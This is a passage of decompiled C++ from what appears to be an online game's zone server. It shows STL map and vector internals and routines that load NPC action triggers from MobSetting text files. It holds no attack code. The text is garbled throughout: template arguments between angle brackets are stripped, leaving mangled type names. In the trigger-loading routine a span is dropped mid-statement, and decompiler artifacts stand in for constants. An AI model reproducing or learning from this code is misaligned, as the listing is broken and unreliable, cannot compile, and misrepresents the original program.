std::_Tree>_std::less_std::allocator>>>_0>>::_Max((std::_Tree_nod >,std::less,std::allocator > *)v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(v4 + 8) + 33) ) { v5 = *(_DWORD *)v4; goto LABEL_9; } v6 = _Where; v5 = *(_DWORD *)(_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(*(_DWORD *)v4 + 4) = _Where; *(_DWORD *)v6 = *(_DWORD *)v4; if ( v6 == *(_DWORD *)(v4 + 8) ) { v7 = v6; } else { v7 = *(_DWORD *)(v6 + 4); if ( !*(_BYTE *)(v5 + 33) ) *(_DWORD *)(v5 + 4) = v7; *(_DWORD *)v7 = v5; *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8); *(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) = v6; } v12 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v12 + 4) == v4 ) { *(_DWORD *)(v12 + 4) = v6; } else { v13 = *(_DWORD *)(v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4); v14 = *(_BYTE *)(v6 + 32); *(_BYTE *)(v6 + 32) = *(_BYTE *)(v4 + 32); *(_BYTE *)(v4 + 32) = v14; LABEL_36: if ( *(_BYTE *)(_Erasednode + 32) == 1 ) { if ( v5 != *(_DWORD *)(*((_DWORD *)v3 + 1) + 4) ) { do { if ( *(_BYTE *)(v5 + 32) != 1 ) break; v15 = *(_DWORD *)v7; if ( v5 == *(_DWORD *)v7 ) { v15 = *(_DWORD *)(v7 + 8); if ( !*(_BYTE *)(v15 + 32) ) { *(_BYTE *)(v15 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); v15 = *(_DWORD *)(v7 + 8); } if ( *(_BYTE *)(v15 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 32) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 32) = 1; *(_BYTE *)(v15 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v15); v15 = *(_DWORD *)(v7 + 8); } *(_BYTE *)(v15 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } else { if ( !*(_BYTE *)(v15 + 32) ) { *(_BYTE *)(v15 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); v15 = *(_DWORD *)v7; } if ( *(_BYTE *)(v15 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) = 1; *(_BYTE *)(v15 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v15); v15 = *(_DWORD *)v7; } *(_BYTE *)(v15 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)v15 + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } *(_BYTE *)(v15 + 32) = 0; LABEL_54: v5 = v7; v16 = v7 == *(_DWORD *)(*((_DWORD *)v3 + 1) + 4); v7 = *(_DWORD *)(v7 + 4); } while ( !v16 ); } *(_BYTE *)(v5 + 32) = 1; } std::vector>::_Tidy((std::vector > *)(_Erasednode + 16)); operator delete((void *)_Erasednode); v17 = *((_DWORD *)v3 + 2); if ( v17 ) *((_DWORD *)v3 + 2) = v17 - 1; v18 = result; *result = _Where; return v18; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0054A430) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Rootnode) { std::_Tree_nod >,std::less,std::allocator > *v2; // edi@1 std::_Tree >,std::less,std::allocator > > > *v3; // ebx@1 std::_Tree_nod >,std::less,std::allocator > *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i[16]._Alnod.baseclass_0.dummy[0]; v2 = i ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( v3, *(std::_Tree_nod >,std::less,std::allocator > **)&i[4].baseclass_0.comp.baseclass_0.dummy[0]); i = *(std::_Tree_nod >,std::less,std::allocator > **)&i->baseclass_0.comp.baseclass_0.dummy[0]; std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (0054A470) -------------------------------------------------------- NPCAction::Trigger *__thiscall std::vector>::_Ufill(std::vector > *this, NPCAction::Trigger *_Ptr, unsigned int _Count, NPCAction::Trigger *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0054A4A0) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { NPCAction::Trigger *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::const_iterator v7; // ecx@7 std::vector >::const_iterator v8; // ST00_4@7 int v9; // [sp-Ch] [bp-20h]@1 std::vector > *thisa; // [sp+0h] [bp-14h]@1 int *v11; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v11 = &v9; thisa = this; if ( v2 ) v4 = _Right->_Mylast - v2; else v4 = 0; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( v4 > (unsigned int)((char *)&ddt.ddt_Table[505][1541].distance + 2) ) std::vector>::_Xlen(this); v5 = 24 * v4; v6 = operator new(24 * v4); v3->_Myfirst = (NPCAction::Trigger *)v6; v3->_Mylast = (NPCAction::Trigger *)v6; v3->_Myend = (NPCAction::Trigger *)((char *)v6 + v5); v7 = (std::vector >::const_iterator)_Right->_Mylast; v8 = (std::vector >::const_iterator)_Right->_Myfirst; v12 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( v8, v7, (NPCAction::Trigger *)v6, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0054A570) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator > > > v4; // ebx@1 std::_Tree >,std::less,std::allocator > > > v5; // esi@1 std::_Tree >,std::less,std::allocator > > > *v6; // edi@1 int v7; // eax@1 int v8; // eax@3 std::_Tree >,std::less,std::allocator > > > *v9; // eax@3 std::_Tree >,std::less,std::allocator > > > v10; // ecx@5 int v11; // eax@6 std::_Tree >,std::less,std::allocator > > > j; // eax@7 std::_Tree >,std::less,std::allocator > > > i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = *((_DWORD *)this + 1); if ( _First != *(_DWORD *)v7 || _Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(v5 + 33) ) { v11 = *(_DWORD *)(v5 + 8); if ( *(_BYTE *)(v11 + 33) ) { for ( i = *(_DWORD *)(v5 + 4); !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 4) ) { if ( v5 != *(_DWORD *)(i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(_DWORD *)(v5 + 8); for ( j = *(_DWORD *)v11; !*(_BYTE *)(j + 33); j = *(_DWORD *)j ) v5 = j; } } std::_Tree>_std::less_std::allocator>>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( this, *(std::_Tree_nod >,std::less,std::allocator > **)(v7 + 4)); *(_DWORD *)(*((_DWORD *)v6 + 1) + 4) = *((_DWORD *)v6 + 1); v8 = *((_DWORD *)v6 + 1); *((_DWORD *)v6 + 2) = 0; *(_DWORD *)v8 = v8; *(_DWORD *)(*((_DWORD *)v6 + 1) + 8) = *((_DWORD *)v6 + 1); v9 = result; *result = **((_DWORD **)v6 + 1); } return v9; } //----- (0054A630) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::Trigger *_Val) { std::vector > *v4; // esi@1 NPCAction::Trigger *v5; // ebx@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 unsigned int v8; // edi@3 int v9; // eax@5 int v10; // eax@10 int v11; // ecx@14 int v12; // eax@17 void *v13; // eax@21 void *v14; // ebx@21 std::vector >::const_iterator v15; // ST18_4@21 int v16; // eax@21 int v17; // edi@23 NPCAction::Trigger *v18; // eax@23 std::vector >::const_iterator v19; // ecx@26 std::vector >::iterator v20; // ebx@26 NPCAction::Trigger *v21; // ecx@27 NPCAction::Trigger *v22; // ST24_4@27 unsigned int v23; // edi@27 int v24; // [sp-Ch] [bp-3Ch]@1 NPCAction::Trigger _Tmp; // [sp+0h] [bp-30h]@1 void *_Newvec; // [sp+18h] [bp-18h]@21 std::vector > *thisa; // [sp+1Ch] [bp-14h]@1 int *v28; // [sp+20h] [bp-10h]@1 int v29; // [sp+2Ch] [bp-4h]@1 NPCAction::Trigger *_Wherea; // [sp+38h] [bp+8h]@28 NPCAction::Trigger *_Ptr; // [sp+3Ch] [bp+Ch]@21 int _Vala; // [sp+40h] [bp+10h]@21 NPCAction::Trigger *_Valb; // [sp+40h] [bp+10h]@26 v4 = this; v28 = &v24; thisa = this; NPCAction::Trigger::Trigger(&_Tmp, _Val); v5 = v4->_Myfirst; v6 = 0; v29 = 0; if ( v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 2; v6 = v7 + ((unsigned int)v7 >> 31); } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)((char *)&ddt.ddt_Table[505][1541].distance + -v9 + 2) < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = (std::vector >::const_iterator)v4->_Mylast; v20 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 24 >= _Count ) { _Wherea = (NPCAction::Trigger *)(*(_DWORD *)&v19 - 24 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - 24 * _Count), v19, *(NPCAction::Trigger **)&v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(v19.___u0.baseclass_0.baseclass_0.dummy[0] - 24 * _Count)); std::_Copy_backward_opt( *(NPCAction::Trigger **)&v20, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(NPCAction::Trigger **)&v20, (NPCAction::Trigger *)(*(_DWORD *)&v20 + 24 * _Count), &_Tmp); } else { std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( _Where.baseclass_0, v19, (NPCAction::Trigger *)(*(_DWORD *)&_Where + 24 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v21 = v4->_Mylast; v22 = v4->_Mylast; LOBYTE(v29) = 3; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 24, &_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (NPCAction::Trigger *)v23; v29 = 0; std::fill( *(NPCAction::Trigger **)&_Where, (NPCAction::Trigger *)(v23 - 24 * _Count), &_Tmp); } } else { if ( (unsigned int)((char *)&ddt.ddt_Table[505][1541].distance + -(v6 >> 1) + 2) >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Vala = 24 * v11; v13 = operator new(24 * v11); v14 = v13; v15 = (std::vector >::const_iterator)v4->_Myfirst; _Newvec = v13; LOBYTE(v29) = 1; _Ptr = std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( v15, _Where.baseclass_0, (NPCAction::Trigger *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = (int)v4->_Myfirst; v29 = 0; if ( v16 ) v16 = (signed int)((char *)v4->_Mylast - v16) / 24; v17 = v16 + v8; v18 = v4->_Myfirst; if ( v18 ) { std::vector>::_Destroy(v4, v18, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (NPCAction::Trigger *)((char *)v14 + _Vala); v4->_Mylast = (NPCAction::Trigger *)((char *)v14 + 24 * v17); v4->_Myfirst = (NPCAction::Trigger *)v14; } } v29 = -1; if ( _Tmp.actions_._Myfirst ) operator delete(_Tmp.actions_._Myfirst); _Tmp.actions_._Myfirst = 0; _Tmp.actions_._Mylast = 0; _Tmp.actions_._Myend = 0; IObserver::_IObserver((ItemSmallBag *)&_Tmp); } //----- (0054A950) -------------------------------------------------------- std::pair > > *__cdecl std::make_pair>>(std::pair > > *result, unsigned __int16 _Val1, std::vector > _Val2) { result->first = _Val1; std::vector>::vector>( &result->second, &_Val2); std::vector>::_Tidy(&_Val2); return result; } //----- (0054A9C0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::Trigger _Val) { NPCAction::Trigger *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } if ( _Val.actions_._Myfirst ) operator delete(_Val.actions_._Myfirst); _Val.actions_._Myfirst = 0; _Val.actions_._Mylast = 0; _Val.actions_._Myend = 0; IObserver::_IObserver((ItemSmallBag *)&_Val); } //----- (0054AAB0) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(...) { void *v6; // eax@1 void *v7; // esi@1 int v9; // [sp-Ch] [bp-24h]@1 void *v10; // [sp+0h] [bp-18h]@1 void *_Wherenode; // [sp+4h] [bp-14h]@1 int *v12; // [sp+8h] [bp-10h]@1 int v13; // [sp+14h] [bp-4h]@1 v12 = &v9; v6 = operator new(0x24u); v7 = v6; _Wherenode = v6; v13 = 0; v10 = v6; LOBYTE(v13) = 1; if ( v6 ) { *(_DWORD *)v6 = _Larg; *((_DWORD *)v6 + 1) = _Parg; *((_DWORD *)v6 + 2) = _Rarg; *((_WORD *)v6 + 6) = _Val->first; std::vector>::vector>( (std::vector > *)v6 + 1, &_Val->second); *((_BYTE *)v7 + 32) = _Carg; *((_BYTE *)v7 + 33) = 0; } return (std::_Tree_nod >,std::less,std::allocator > *)v7; } //----- (0054AB50) -------------------------------------------------------- void __thiscall std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this) { std::map >,std::less,std::allocator > > > > *v1; // esi@1 std::_Tree >,std::less,std::allocator > > > result; // [sp+0h] [bp-4h]@1 result = (std::_Tree >,std::less,std::allocator > > >)this; v1 = this; std::_Tree>_std::less_std::allocator>>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree >,std::less,std::allocator > > > **)&this->gap4[0], *(std::_Tree >,std::less,std::allocator > > > *)&this->gap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (0054AB80) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::_Insert(...) { std::_Tree >,std::less,std::allocator > > > *v5; // edi@1 std::_Tree >,std::less,std::allocator > > > v6; // ecx@4 int v7; // eax@4 int v8; // eax@7 int v9; // eax@9 int v10; // eax@11 std::_Tree_nod >,std::less,std::allocator > *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree >,std::less,std::allocator > > > *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree >,std::less,std::allocator > > > _Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( *((_DWORD *)this + 2) >= 0xCCCCCCBu ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree >,std::less,std::allocator > > >)std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(this, *((std::_Tree_nod >,std::less,std::allocator > **)this + 1), _Wherenode, *((std::_Tree_nod >,std::less,std::allocator > **)this + 1), _Val, 0); v7 = *((_DWORD *)v5 + 1); _Vala = v6; ++*((_DWORD *)v5 + 2); if ( _Wherenode == (std::_Tree_nod >,std::less,std::allocator > *)v7 ) { *(_DWORD *)(v7 + 4) = v6; **((_DWORD **)v5 + 1) = v6; *(_DWORD *)(*((_DWORD *)v5 + 1) + 8) = v6; } else { if ( _Addleft ) { *(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0] = v6; v8 = *((_DWORD *)v5 + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)v8 ) *(_DWORD *)v8 = v6; } else { *(_DWORD *)&_Wherenode[4].baseclass_0.comp.baseclass_0.dummy[0] = v6; v9 = *((_DWORD *)v5 + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v9 + 8) ) *(_DWORD *)(v9 + 8) = v6; } } v10 = v6 + 4; v11 = (std::_Tree_nod >,std::less,std::allocator > *)v6; if ( !*(_BYTE *)(*(_DWORD *)(v6 + 4) + 32) ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)(v12 + 8) ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)v12 ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 32) = 1; *(_BYTE *)(v14 + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 32) = 0; v11 = *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11[2]; if ( *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 32) = 1; *result = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0054AD30) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadFromOptionReader(std::vector > *destManager, const char *fileName) { unsigned int v2; // esi@2 std::vector >::iterator v3; // esi@2 unsigned int v4; // eax@2 bool result; // al@4 NPCAction::Trigger v6; // [sp-1Ch] [bp-1089Ch]@2 int v7; // [sp-18h] [bp-10898h]@2 int v8; // [sp-14h] [bp-10894h]@2 NPCAction::Trigger *v9; // [sp+0h] [bp-10880h]@2 NPCAction::TriggerGen_OptionReader generator; // [sp+4h] [bp-1087Ch]@2 OptionReader optionReader; // [sp+1Ch] [bp-10864h]@1 unsigned int cookie; // [sp+10870h] [bp-10h]@4 int v13; // [sp+1087Ch] [bp-4h]@1 OptionReader::OptionReader(&optionReader); v13 = 0; if ( OptionReader::or_Read(&optionReader, (char *)fileName) ) { NPCAction::TriggerGen_OptionReader::TriggerGen_OptionReader(&generator, &optionReader); LOBYTE(v13) = 1; v2 = NPCAction::TriggerGen_OptionReader::size(&generator); v9 = &v6; NPCAction::Trigger::Trigger(&v6); std::vector>::resize(destManager, v2, v6); v6.baseclass_0.vfptr = (IObserverVtbl *)generator.optionReader_; v9 = &v6; v7 = generator.currentRow_; std::vector>::vector>( (std::vector > *)&v8, &generator.triggers_); v3 = (std::vector >::iterator)destManager->_Myfirst; LOBYTE(v13) = 1; v4 = NPCAction::TriggerGen_OptionReader::size(&generator); std::generate_n>::iterator_unsigned_int_NPCAction::TriggerGen_OptionReader>( v3, v4, (NPCAction::TriggerGen_OptionReader)v6); LOBYTE(v13) = 0; std::vector>::_Tidy(&generator.triggers_); v13 = -1; OptionReader::_OptionReader(&optionReader); } else { v13 = -1; OptionReader::_OptionReader(&optionReader); } __security_check_cookie(cookie); return result; } //----- (0054AE70) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...) { std::pair > > *v3; // ebp@1 std::_Tree >,std::less,std::allocator > > > *v4; // edi@1 std::_Tree >,std::less,std::allocator > > > v5; // esi@1 std::_Tree >,std::less,std::allocator > > > v6; // eax@1 bool v7; // cl@1 const unsigned __int16 v8; // dx@2 std::_Tree >,std::less,std::allocator > > > v9; // edx@7 std::_Tree >,std::less,std::allocator > > > v10; // edx@9 std::pair >,std::less,std::allocator >,std::less,std::allocator > > > v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = *((_DWORD *)this + 1); v6 = *(_DWORD *)(v5 + 4); v7 = 1; _Addleft = 1; if ( !*(_BYTE *)(v6 + 33) ) { v8 = _Val->first; do { v5 = v6; v7 = v8 < *(_WORD *)(v6 + 12); _Addleft = v8 < *(_WORD *)(v6 + 12); if ( v8 >= *(_WORD *)(v6 + 12) ) v6 = *(_DWORD *)(v6 + 8); else v6 = *(_DWORD *)v6; } while ( !*(_BYTE *)(v6 + 33) ); } v9 = v5; _Val = (std::pair > > *)v5; if ( v7 ) { if ( v5 == **((_DWORD **)v4 + 1) ) { v10 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator > > > *)&_Val, 1, (std::_Tree_nod >,std::less,std::allocator > *)v5, v3); v11 = result; result->second = 1; result->first = v10; return v11; } std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec((std::_Tree >,std::less,std::allocator > > > *)&_Val); v9 = (std::_Tree >,std::less,std::allocator > > >)_Val; } if ( *(_WORD *)(v9 + 12) >= v3->first ) { v11 = result; result->second = 0; result->first = v9; } else { v12 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator > > > *)&_Val, _Addleft, (std::_Tree_nod >,std::less,std::allocator > *)v5, v3); v11 = result; result->first = v12; result->second = 1; } return v11; } //----- (0054AF30) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadTriggers() { char *v0; // eax@5 char v1; // cl@6 unsigned int v2; // eax@7 const char *v3; // eax@7 unsigned __int16 v4; // ax@9 unsigned __int16 v5; // si@9 std::pair > > *v6; // eax@9 void *v7; // edi@9 NPCAction::Trigger *v8; // ebp@10 NPCAction::Trigger *i; // esi@10 IObserverVtbl *v10; // edx@11 NPCAction::Trigger *v11; // esi@13 NPCAction::Trigger *v12; // edi@14 IObserverVtbl *v13; // eax@15 void *v14; // ebp@21 NPCAction::Trigger *v15; // edi@22 NPCAction::Trigger *j; // esi@22 IObserverVtbl *v17; // edx@23 int v18; // esi@25 bool v19; // al@26 std::vector > v20; // [sp-1Ch] [bp-230h]@9 unsigned int v21; // [sp-10h] [bp-224h]@4 char _Ptr[4]; // [sp+4h] [bp-210h]@7 std::vector > collection; // [sp+8h] [bp-20Ch]@4 int handle; // [sp+18h] [bp-1FCh]@1 std::pair > > _Val; // [sp+1Ch] [bp-1F8h]@9 std::pair > > result; // [sp+30h] [bp-1E4h]@9 std::vector > *v27; // [sp+44h] [bp-1D0h]@9 char v28; // [sp+48h] [bp-1CCh]@9 std::basic_string,std::allocator > mobInx; // [sp+50h] [bp-1C4h]@5 _finddata_t buffer; // [sp+6Ch] [bp-1A8h]@1 char path_buffer[128]; // [sp+184h] [bp-90h]@4 unsigned int v32; // [sp+204h] [bp-10h]@26 int v33; // [sp+210h] [bp-4h]@4 handle = _findfirst("../9Data/Shine/MobSetting/Action/*.txt", &buffer); if ( handle == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start_old : Invalid file path", 0); ShineExit("NPCAction::Util::loadTriggers"); } do { collection._Myfirst = 0; collection._Mylast = 0; collection._Myend = 0; v21 = (unsigned int)buffer.name; v33 = 0; sprintf(path_buffer, "../9Data/Shine/MobSetting/Action/%s"); if ( NPCAction::Util::loadFromOptionReader( &collection, path_buffer) ) { v0 = buffer.name; mobInx._Myres = 15; mobInx._Mysize = 0; mobInx._Bx._Buf[0] = 0; do v1 = *v0++; while ( v1 ); std::basic_string_std::allocator>::assign( &mobInx, buffer.name, v0 - &buffer.name[1]); v21 = -1; LOBYTE(v33) = 1; _Ptr[0] = 46; v2 = std::basic_string_std::allocator>::rfind(&mobInx, _Ptr, 0xFFFFFFFFu, 1u); std::basic_string_std::allocator>::erase(&mobInx, v2, v21); v3 = *(const char **)&mobInx._Bx._Buf[0]; if ( mobInx._Myres < 0x10 ) v3 = (const char *)&mobInx._Bx; v4 = MobDataBox::mdb_2MobID(&mobdatabox, v3); v27 = &v20; v5 = v4; std::vector>::vector>( &v20, &collection); v6 = std::make_pair>>( &result, v5, v20); _Val.first = v6->first; LOBYTE(v33) = 2; std::vector>::vector>( &_Val.second, &v6->second); LOBYTE(v33) = 3; std::_Tree>_std::less_std::allocator>>>_0>>::insert( &triggerDic, (std::pair >,std::less,std::allocatorbaseclass_0.vfptr; v21 = 0; v10->__vecDelDtor(i, 0); } operator delete(v7); } v11 = result.second._Myfirst; _Val.second._Myfirst = 0; _Val.second._Mylast = 0; _Val.second._Myend = 0; LOBYTE(v33) = 1; if ( result.second._Myfirst ) { v12 = result.second._Mylast; if ( result.second._Myfirst != result.second._Mylast ) { do { v13 = v11->baseclass_0.vfptr; v21 = 0; v13->__vecDelDtor(v11, 0); ++v11; } while ( v11 != v12 ); v11 = result.second._Myfirst; } operator delete(v11); } result.second._Myfirst = 0; 